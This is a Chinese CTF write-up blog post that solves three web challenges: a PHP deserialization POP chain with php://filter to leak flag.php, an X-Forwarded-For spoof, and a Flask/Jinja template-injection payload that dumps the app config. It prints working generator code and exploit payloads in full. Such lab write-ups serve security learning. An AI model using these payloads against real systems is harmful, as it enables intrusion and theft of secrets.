[BT]BUUCTF刷题第16天(4.12)

发布于:2024-04-16 ⋅ 阅读:(22) ⋅ 点赞:(0)

第16天

Web

[MRCTF2020]Ezpop

打开网站就是一段泄露的源代码:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);                          //这里是得到flag的关键,需要包含flag.php
    }
    public function __invoke(){                   //当脚本尝试将对象调用为函数时触发
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){                  //创建对象时触发
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){                                   //当一个对象被当作一个字符串被调用
        return $this->str->source;                                  //在Payload中没有这个属性就会自动执行__get函数
    }

    public function __wakeup(){                                    //使用unserialize时触发
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){                                 //创建对象时触发
        $this->p = array();
    }

    public function __get($key){                                   //用于将数据写入不可访问的属性
        $function = $this->p;
        return $function();                                        //会将$this->p当作函数调用
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这里直接给出思路:

GET方法对pop传值→触发unserialize函数→触发Show类的__wakeup→触发对象当作字符串用(通过preg_match)→触发__toString函数→触发调用不可读取属性(将$this->str声明为Test类)→触发__get函数→触发对象当作函数使用(将Test类中的属性p实例化为对象)→触发__invoke函数→调用append函数→执行文件包含flag.php

这里涉及到将类的对象当作属性,又将属性当作对象使用,因此比较复杂:

<?php 
class Modifier { 
	protected $var="flag.php"; 
} 
class Show{ 
	public $source; 
	public $str; 
} 
class Test{ 
	public $p; 
} 
$a=new Show();                                 
$a->source=new Show();                              //把a的source属性声明为Show的对象
$a->source->str=new Test(); 
$a->source->str->p=new Modifier(); 
echo urlencode(serialize($a));                      //反序列化后会先调用Show类的__wakeup方法

执行结果:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

但是访问后返回:

在这里插入图片描述

尝试将$var="flag.php"修改成$var="php://filter/read=convert.base64-encode/resource=flag.php"

执行结果:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

在这里插入图片描述

解码得flag

<?php
class Flag{
    private $flag= "flag{58a467e0-42d9-484b-896c-81da20a8ad89}";
}
echo "Help Me Find FLAG!";
?>

[MRCTF2020]PYWebsite

直接F12可以看到关键源代码

在这里插入图片描述

function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
}

看到一个flag.php文件,访问后发现获取flag需要用到IP地址,推测是XFF

在这里插入图片描述

构造X-Forwarded-For:127.0.0.1即可拿到flag

在这里插入图片描述

[WesternCTF2018]shrine

网站泄露了Flask的源代码,存在SSTI注入模板漏洞

import flask
import os
app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

构造URL:/shrine/{{url_for.__globals__}}

url_for.globals 是一个 Python 特性,它返回 url_for 函数所在模块的全局符号表。这个全局符号表是一个字典,包含了该模块中定义的所有全局变量、函数和类等

返回内容:
在这里插入图片描述

访问/shrine/{{url_for.__globals__['current_app'].config}}
这里的config不会过滤 是因为是属性 所以不会过滤

成功拿到flag

在这里插入图片描述